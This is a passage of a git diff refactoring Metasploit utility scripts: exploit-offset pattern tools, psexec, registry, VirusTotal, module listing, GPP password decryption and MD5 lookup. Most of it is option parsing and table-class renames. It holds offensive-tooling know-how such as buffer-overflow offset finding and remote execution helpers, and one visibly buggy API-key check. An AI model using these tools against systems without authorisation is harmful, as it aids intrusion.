run - links = [] - msb_numbers = [] - keyword = args[:keyword] - regex = args[:regex] ? args[:regex] : nil - api_key = args[:google_api_key] - cx = args[:google_search_engine_id] - - case args[:search_engine] - when :technet - print_debug("Searching advisories that include #{keyword} via Technet") - msb_numbers = technet_search(keyword) - when :google - print_debug("Searching advisories that include #{keyword} via Google") - msb_numbers = google_search(keyword, api_key, cx) - end - - print_debug("Advisories found (#{msb_numbers.length}): #{msb_numbers * ', '}") unless msb_numbers.empty? - - return if args[:dryrun] - - msb_numbers.each do |msb| - print_debug("Finding download links for #{msb}") - links.concat(get_download_links(msb, regex)) - end - - unless links.empty? - print_status "Found these links:" - print_line links * "\n" - print_status "Total downloadable updates found: #{links.length}" + if options[:search_engine] == :google + if options[:google_api_key].nil? || options[:google_search_engine_id].empty? + fail OptionParser::MissingArgument, 'No API key set for Google' + elsif options[:google_search_engine_id].nil? || options[:google_search_engine_id].empty? + fail OptionParser::MissingArgument, 'No search engine ID set for Google' end end - attr_reader :args + options + end + + def initialize + @args = get_parsed_options + rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e + print_error(e.message) + exit + end + + def main + cli = PatchFinder::MSU.new(verbose: true) + links = cli.find_msu_download_links(args) + if args[:destdir] + print_status("Download links found: #{links.length}") + print_status('Downloading files, please wait...') + download_files(links, args[:destdir]) + else + print_status('Download links found:') + print_line(links * "\n") + end end end - if __FILE__ == $PROGRAM_NAME - mod = MicrosoftPatchFinder::Driver.new - begin - mod.run - rescue Interrupt - $stdout.puts - $stdout.puts "Good bye" - end + bin = PatchFinderBin.new + bin.main end - -=begin -TODO: - * Make a gem - * Make it generic in order to manage different kind of patches and providers - * Multithreading -=end diff --git a/tools/exploit/pattern_create.rb b/tools/exploit/pattern_create.rb index 4ef9f64b1e..6767eeb08c 100755 --- a/tools/exploit/pattern_create.rb +++ b/tools/exploit/pattern_create.rb @@ -1,28 +1,80 @@ #!/usr/bin/env ruby -# -# $Id$ -# $Revision$ -# msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) -require 'msfenv' +$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) +$LOAD_PATH.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] +gem 'rex-text' -require 'rex' +require 'optparse' -if (!(length = ARGV.shift)) - $stderr.puts("Usage: #{File.basename($0)} length [set a] [set b] [set c]\n") - exit +module PatternCreate + class OptsConsole + def self.parse(args) + options = {} + parser = OptionParser.new do |opt| + opt.banner = "Usage: #{__FILE__} [options]\nExample: #{__FILE__} -l 50 -s ABC,def,123\nAd1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf" + opt.separator '' + opt.separator 'Options:' + opt.on('-l', '--length ', Integer, "The length of the pattern") do |len| + options[:length] = len + end + + opt.on('-s', '--sets ', Array, "Custom Pattern Sets") do |sets| + options[:sets] = sets + end + + opt.on_tail('-h', '--help', 'Show this message') do + $stdout.puts opt + exit + end + end + + parser.parse!(args) + + if options.empty? + raise OptionParser::MissingArgument, 'No options set, try -h for usage' + elsif options[:length].nil? && options[:sets] + raise OptionParser::MissingArgument, '-l is required' + end + + options[:sets] = nil unless options[:sets] + + options + end + end + + class Driver + def initialize + begin + @opts = OptsConsole.parse(ARGV) + rescue OptionParser::ParseError => e + $stderr.puts "[x] #{e.message}" + exit + end + end + + def run + require 'msfenv' + require 'msf/core' + require 'msf/base' + require 'rex/text' + + puts Rex::Text.pattern_create(@opts[:length], @opts[:sets]) + end + end end -# If the user supplied custom sets, use those. Otherwise, use the default -# sets. -sets = ARGV.length > 0 ? ARGV : Rex::Text::DefaultPatternSets - -puts Rex::Text.pattern_create(length.to_i, sets) +if __FILE__ == $PROGRAM_NAME + driver = PatternCreate::Driver.new + begin + driver.run + rescue ::StandardError => e + $stderr.puts "[x] #{e.class}: #{e.message}" + $stderr.puts "[*] If necessary, please refer to framework.log for more details." + end +end diff --git a/tools/exploit/pattern_offset.rb b/tools/exploit/pattern_offset.rb index be9f10908b..ff1daac58d 100755 --- a/tools/exploit/pattern_offset.rb +++ b/tools/exploit/pattern_offset.rb @@ -1,123 +1,149 @@ #!/usr/bin/env ruby -# $Id$ -# $Revision$ msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) -require 'msfenv' +$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) +$LOAD_PATH.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] +gem 'rex-text' -require 'rex' +require 'optparse' -if ARGV.length < 1 - $stderr.puts("Usage: #{File.basename($0)} ") - $stderr.puts("Default length of buffer if none is inserted: 8192") - $stderr.puts("This buffer is generated by pattern_create() in the Rex library automatically") - exit -end +module PatternOffset + class OptsConsole + def self.parse(args) + options = {} + parser = OptionParser.new do |opt| + opt.banner = "Usage: #{__FILE__} [options]\nExample: #{__FILE__} -q Aa3A\n[*] Exact match at offset 9" + opt.separator '' + opt.separator 'Options:' -value = ARGV.shift -len = ARGV.shift || 8192 + opt.on('-q', '--query Aa0A', String, "Query to Locate") do |query| + options[:query] = query + end -=begin + opt.on('-l', '--length ', Integer, "The length of the pattern") do |len| + options[:length] = len + end -Examples: + opt.on('-s', '--sets ', Array, "Custom Pattern Sets") do |sets| + options[:sets] = sets + end -$ ./tools/pattern_create.rb 128 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae - -$ ./tools/pattern_offset.rb 8Ac9 -[*] Exact match at offset 86 - -$ ./tools/pattern_offset.rb 39634138 -[*] Exact match at offset 86 - -$ ./tools/pattern_offset.rb 0x39634138 -[*] Exact match at offset 86 - -$ ./tools/pattern_offset.rb 0x396341FF -[*] No exact matches, looking for likely candidates... -[+] Possible match at offset 86 (adjusted [ little-endian: 199 | big-endian: 18996934 ] ) byte offset 0 - -$ ./tools/pattern_offset.rb 0x3963FFFF -[*] No exact matches, looking for likely candidates... -[+] Possible match at offset 86 (adjusted [ little-endian: 48839 | big-endian: 19045574 ] ) -[ snip ] - -$ ./tools/pattern_offset.rb 0xFFFF4138 -[*] No exact matches, looking for likely candidates... -[+] Possible match at offset 26 (adjusted [ little-endian: 3332243456 | big-endian: 3351109631 ] ) -[+] Possible match at offset 56 (adjusted [ little-endian: 3332177920 | big-endian: 3351109375 ] ) -[+] Possible match at offset 86 (adjusted [ little-endian: 3332112384 | big-endian: 3351109119 ] ) -[ snip ] - -=end - - - -# The normal format is a full hexadecimal value: 0x41424344 -if (value.length >= 8 and value.hex > 0) - value = value.hex -# However, you can also specify a four-byte string -elsif (value.length == 4) - value = value.unpack("V").first -else -# Or even a hex value that isn't 8 bytes long - value = value.to_i(16) -end - -buffer = Rex::Text.pattern_create(len.to_i) -offset = Rex::Text.pattern_offset(buffer, value) - -# Handle cases where there is no match by looking for "close" matches -unless offset - found = false - $stderr.puts "[*] No exact matches, looking for likely candidates..." - - # Look for shifts by a single byte - 0.upto(3) do |idx| - 0.upto(255) do |c| - nvb = [value].pack("V") - nvb[idx, 1] = [c].pack("C") - nvi = nvb.unpack("V").first - - off = Rex::Text.pattern_offset(buffer, nvi) - if off - mle = value - buffer[off,4].unpack("V").first - mbe = value - buffer[off,4].unpack("N").first - puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] ) byte offset #{idx}" - found = true + opt.on_tail('-h', '--help', 'Show this message') do + $stdout.puts opt + exit + end end + + parser.parse!(args) + + if options.empty? + raise OptionParser::MissingArgument, 'No options set, try -h for usage' + elsif options[:query].nil? + raise OptionParser::MissingArgument, '-q is required' + elsif options[:length].nil? && options[:sets] + raise OptionParser::MissingArgument, '-l is required' + end + + options[:sets] = nil unless options[:sets] + options[:length] = 8192 unless options[:length] + + options end end - exit if found + class Driver + def initialize + begin + @opts = OptsConsole.parse(ARGV) + rescue OptionParser::ParseError => e + $stderr.puts "[x] #{e.message}" + exit + end + end - # Look for 16-bit offsets - [0, 2].each do |idx| - 0.upto(65535) do |c| - nvb = [value].pack("V") - nvb[idx, 2] = [c].pack("v") - nvi = nvb.unpack("V").first + def run + require 'msfenv' + require 'msf/core' + require 'msf/base' + require 'rex/text' - off = Rex::Text.pattern_offset(buffer, nvi) - if off - mle = value - buffer[off,4].unpack("V").first - mbe = value - buffer[off,4].unpack("N").first - puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] )" - found = true + query = (@opts[:query]) + + if query.length >= 8 && query.hex > 0 + query = query.hex + # However, you can also specify a four-byte string + elsif query.length == 4 + query = query.unpack("V").first + else + # Or even a hex query that isn't 8 bytes long + query = query.to_i(16) + end + + buffer = Rex::Text.pattern_create(@opts[:length], @opts[:sets]) + offset = Rex::Text.pattern_offset(buffer, query) + + # Handle cases where there is no match by looking for "close" matches + unless offset + found = false + $stderr.puts "[*] No exact matches, looking for likely candidates..." + + # Look for shifts by a single byte + 0.upto(3) do |idx| + 0.upto(255) do |c| + nvb = [query].pack("V") + nvb[idx, 1] = [c].pack("C") + nvi = nvb.unpack("V").first + + off = Rex::Text.pattern_offset(buffer, nvi) + if off + mle = query - buffer[off, 4].unpack("V").first + mbe = query - buffer[off, 4].unpack("N").first + puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] ) byte offset #{idx}" + found = true + end + end + end + + exit! if found + + # Look for 16-bit offsets + [0, 2].each do |idx| + 0.upto(65535) do |c| + nvb = [query].pack("V") + nvb[idx, 2] = [c].pack("v") + nvi = nvb.unpack("V").first + + off = Rex::Text.pattern_offset(buffer, nvi) + if off + mle = query - buffer[off, 4].unpack("V").first + mbe = query - buffer[off, 4].unpack("N").first + puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] )" + found = true + end + end + end + end + + while offset + puts "[*] Exact match at offset #{offset}" + offset = Rex::Text.pattern_offset(buffer, query, offset + 1) end end end - end -while offset - puts "[*] Exact match at offset #{offset}" - offset = Rex::Text.pattern_offset(buffer, value, offset + 1) +if __FILE__ == $PROGRAM_NAME + driver = PatternOffset::Driver.new + begin + driver.run + rescue ::StandardError => e + $stderr.puts "[x] #{e.class}: #{e.message}" + $stderr.puts "[*] If necessary, please refer to framework.log for more details." + + end end diff --git a/tools/exploit/psexec.rb b/tools/exploit/psexec.rb index 08fc874c4e..950f14e94e 100755 --- a/tools/exploit/psexec.rb +++ b/tools/exploit/psexec.rb @@ -9,6 +9,8 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end +gem 'rex-text' + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' @@ -67,7 +69,7 @@ def dcerpc_bind(handle, csocket, csimple, cuser, cpass) opts['smb_pass'] = cpass opts['frag_size'] = 512 opts['smb_client'] = csimple - + Rex::Proto::DCERPC::Client.new(handle, csocket, opts) end @@ -131,7 +133,7 @@ if (not simple.client.auth_user) exit(1) end - + fname = Rex::Text.rand_text_alpha(8) + ".exe" sname = Rex::Text.rand_text_alpha(8) diff --git a/tools/exploit/reg.rb b/tools/exploit/reg.rb index 636619828b..242fb48df1 100755 --- a/tools/exploit/reg.rb +++ b/tools/exploit/reg.rb @@ -33,7 +33,7 @@ def print_all_keys(nodekey) return if !nodekey.lf_record.children return if nodekey.lf_record.children.length == 0 -table = Rex::Ui::Text::Table.new( +table = Rex::Text::Table.new( 'Header' => "Child Keys for #{nodekey.full_path}", 'Indent' => ' '.length, 'Columns' => [ 'Name', 'Last Edited', 'Subkey Count', 'Value Count' ] @@ -55,7 +55,7 @@ table = Rex::Ui::Text::Table.new( return if !nodekey.lf_record.children return if nodekey.lf_record.children.length == 0 - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => "Values in key #{nodekey.full_path}", 'Indent' => ' '.length, 'Columns' => ['Name','Value Type', 'Value'] diff --git a/tools/exploit/virustotal.rb b/tools/exploit/virustotal.rb index a4209a7a00..da7a9b067a 100755 --- a/tools/exploit/virustotal.rb +++ b/tools/exploit/virustotal.rb @@ -316,7 +316,7 @@ class OptsConsole files = v.split.delete_if { |e| e.nil? } bad_files = [] files.each do |f| - unless ::File.exists?(f) + unless ::File.exist?(f) bad_files << f end end @@ -480,7 +480,7 @@ class Driver end short_filename = File.basename(sample) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Analysis Report: #{short_filename} (#{res['positives']} / #{res['total']}): #{res['sha256']}", 'Indent' => 1, 'Columns' => ['Antivirus', 'Detected', 'Version', 'Result', 'Update'] diff --git a/tools/modules/missing_payload_tests.rb b/tools/modules/missing_payload_tests.rb index 7e8c427741..203f9dae2d 100755 --- a/tools/modules/missing_payload_tests.rb +++ b/tools/modules/missing_payload_tests.rb @@ -28,7 +28,7 @@ framework.payloads.each { |reference_name, payload_class| } ancestor_reference_names = module_ancestors.map { |module_ancestor| unpacked_module_ancestor_full_name = module_ancestor.name.sub(/^Msf::Modules::Mod/, '') - .sub(/::Metasploit\d+/, '') + .sub(/::MetasploitModule/, '') module_ancestor_full_name = [unpacked_module_ancestor_full_name].pack("H*") module_ancestor_full_name.sub(%r{^payload/}, '') } @@ -59,21 +59,21 @@ File.open('log/untested-payloads.log') { |f| unless tested_options.include? options reference_name = options[:reference_name] - $stderr.puts - $stderr.puts " context '#{reference_name}' do\n" \ + $stdout.puts + $stdout.puts " context '#{reference_name}' do\n" \ " it_should_behave_like 'payload cached size is consistent',\n" \ " ancestor_reference_names: [" ancestor_reference_names = options[:ancestor_reference_names] if ancestor_reference_names.length == 1 - $stderr.puts " '#{ancestor_reference_names[0]}'" + $stdout.puts " '#{ancestor_reference_names[0]}'" else - $stderr.puts " '#{ancestor_reference_names[1]}'," - $stderr.puts " '#{ancestor_reference_names[0]}'" + $stdout.puts " '#{ancestor_reference_names[1]}'," + $stdout.puts " '#{ancestor_reference_names[0]}'" end - $stderr.puts " ],\n" \ + $stdout.puts " ],\n" \ " dynamic_size: false,\n" \ " modules_pathname: modules_pathname,\n" \ " reference_name: '#{reference_name}'\n" \ diff --git a/tools/modules/module_author.rb b/tools/modules/module_author.rb index 3a87b7fb85..0fe02efa9e 100755 --- a/tools/modules/module_author.rb +++ b/tools/modules/module_author.rb @@ -79,7 +79,7 @@ end $framework = Msf::Simple::Framework.create(framework_opts) -tbl = Rex::Ui::Text::Table.new( +tbl = Rex::Text::Table.new( 'Header' => 'Module References', 'Indent' => Indent.length, 'Columns' => [ 'Module', 'Reference' ] @@ -112,7 +112,7 @@ end puts tbl.to_s -tbl = Rex::Ui::Text::Table.new( +tbl = Rex::Text::Table.new( 'Header' => 'Module Count by Author', 'Indent' => Indent.length, 'Columns' => [ 'Count', 'Name' ] diff --git a/tools/modules/module_disclodate.rb b/tools/modules/module_disclodate.rb index 8de4e68959..eafce24b33 100755 --- a/tools/modules/module_disclodate.rb +++ b/tools/modules/module_disclodate.rb @@ -105,7 +105,7 @@ end $framework = Msf::Simple::Framework.create(framework_opts) -tbl = Rex::Ui::Text::Table.new( +tbl = Rex::Text::Table.new( 'Header' => 'Module References', 'Indent' => Indent.length, 'Columns' => [ 'Module', 'Disclosure Date' ] diff --git a/tools/modules/module_license.rb b/tools/modules/module_license.rb index 651cf101e2..71628257b2 100755 --- a/tools/modules/module_license.rb +++ b/tools/modules/module_license.rb @@ -102,7 +102,7 @@ end $framework = Msf::Simple::Framework.create(framework_opts) -tbl = Rex::Ui::Text::Table.new( +tbl = Rex::Text::Table.new( 'Header' => 'Licensed Modules', 'Indent' => Indent.length, 'Columns' => [ 'License','Type', 'Name' ] diff --git a/tools/modules/module_rank.rb b/tools/modules/module_rank.rb index ceffd91400..6c8fa00086 100755 --- a/tools/modules/module_rank.rb +++ b/tools/modules/module_rank.rb @@ -104,7 +104,7 @@ end $framework = Msf::Simple::Framework.create(framework_opts) -tbl = Rex::Ui::Text::Table.new( +tbl = Rex::Text::Table.new( 'Header' => 'Module Ranks', 'Indent' => Indent.length, 'Columns' => [ 'Module', 'Rank' ] diff --git a/tools/modules/module_reference.rb b/tools/modules/module_reference.rb index e4bfe88d9a..729c4fd0d7 100755 --- a/tools/modules/module_reference.rb +++ b/tools/modules/module_reference.rb @@ -24,7 +24,6 @@ require 'uri' def types { 'ALL' => '', - 'OSVDB' => 'http://www.osvdb.org/#{in_ctx_val}', 'CVE' => 'http://cvedetails.com/cve/#{in_ctx_val}/', 'CWE' => 'http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html', 'BID' => 'http://www.securityfocus.com/bid/#{in_ctx_val}', @@ -198,7 +197,7 @@ else columns = [ 'Module', 'Reference' ] end -tbl = Rex::Ui::Text::Table.new( +tbl = Rex::Text::Table.new( 'Header' => 'Module References', 'Indent' => 2, 'Columns' => columns diff --git a/tools/modules/module_targets.rb b/tools/modules/module_targets.rb index f5ee44cc17..1163da617f 100755 --- a/tools/modules/module_targets.rb +++ b/tools/modules/module_targets.rb @@ -57,7 +57,7 @@ Indent = ' ' # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create('DisableDatabase' => true) -tbl = Rex::Ui::Text::Table.new( +tbl = Rex::Text::Table.new( 'Header' => 'Module Targets', 'Indent' => Indent.length, 'Columns' => [ 'Module name','Target' ] diff --git a/tools/modules/payload_lengths.rb b/tools/modules/payload_lengths.rb index 0e175fac94..a31de48632 100755 --- a/tools/modules/payload_lengths.rb +++ b/tools/modules/payload_lengths.rb @@ -34,7 +34,7 @@ Msf::Ui::Common.process_cli_arguments($framework, ARGV) options = ARGV.join(',') -tbl = Rex::Ui::Text::Table.new( +tbl = Rex::Text::Table.new( 'Header' => 'Payload Lengths', 'Indent' => Indent.length, 'Columns' => [ 'Payload', 'Length' ] diff --git a/tools/modules/update_payload_cached_sizes.rb b/tools/modules/update_payload_cached_sizes.rb index 5328afcc7e..c5542cef87 100755 --- a/tools/modules/update_payload_cached_sizes.rb +++ b/tools/modules/update_payload_cached_sizes.rb @@ -13,6 +13,8 @@ require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] +gem 'rex-text' + require 'rex' require 'msf/ui' require 'msf/base' diff --git a/tools/password/cpassword_decrypt.rb b/tools/password/cpassword_decrypt.rb index 5d54f3270c..c987dc593d 100755 --- a/tools/password/cpassword_decrypt.rb +++ b/tools/password/cpassword_decrypt.rb @@ -38,10 +38,12 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) + +gem 'rex-text' + require 'msfenv' require 'rex' - class CPassword # @@ -128,4 +130,4 @@ if __FILE__ == $PROGRAM_NAME else print_good("The decrypted AES password is: #{pass}") end -end \ No newline at end of file +end diff --git a/tools/password/md5_lookup.rb b/tools/password/md5_lookup.rb index 0514d8e9f2..77d1e4a857 100755 --- a/tools/password/md5_lookup.rb +++ b/tools/password/md5_lookup.rb @@ -292,7 +292,7 @@ module Md5LookupUtility opt.on('-i', '--input ', 'The file that contains all the MD5 hashes (one line per hash)') do |v| - if v && !::File.exists?(v) + if v && !::File.exist?(v) raise OptionParser::InvalidOption, "Invalid input file: #{v}" end @@ -464,7 +464,7 @@ module Md5LookupUtility # Checks if the hash format is MD5 or not # # @param md5_hash [String] The MD5 hash (hex) - # @return [TrueClass/FlaseClass] True if the format is valid, otherwise false + # @return [TrueClass/FalseClass] True if the format is valid, otherwise false def is_md5_format?(md5_hash) (md5_hash =~ /^[a-f0-9]{32}$/i) ? true : false end diff --git a/tools/recon/makeiplist.rb b/tools/recon/makeiplist.rb index dbeb7e83eb..fd3f8dc97b 100755 --- a/tools/recon/makeiplist.rb +++ b/tools/recon/makeiplist.rb @@ -58,7 +58,7 @@ Usage: #{__FILE__} [options]| puts opts raise OptionParser::MissingArgument, "-i is a required option" end - unless ::File.exists?(options['input']) + unless ::File.exist?(options['input']) raise OptionParser::InvalidArgument, "Not found: #{options['input']}" end rescue OptionParser::InvalidOption @@ -99,7 +99,7 @@ def load_files(in_f, out_f) handle_in = ::File.open(in_f, 'r') # Output file not found, assuming we should create one automatically - ::File.open(out_f, 'w') {} unless ::File.exists?(out_f) + ::File.open(out_f, 'w') {} unless ::File.exist?(out_f) handle_out = ::File.open(out_f, 'a')
      Download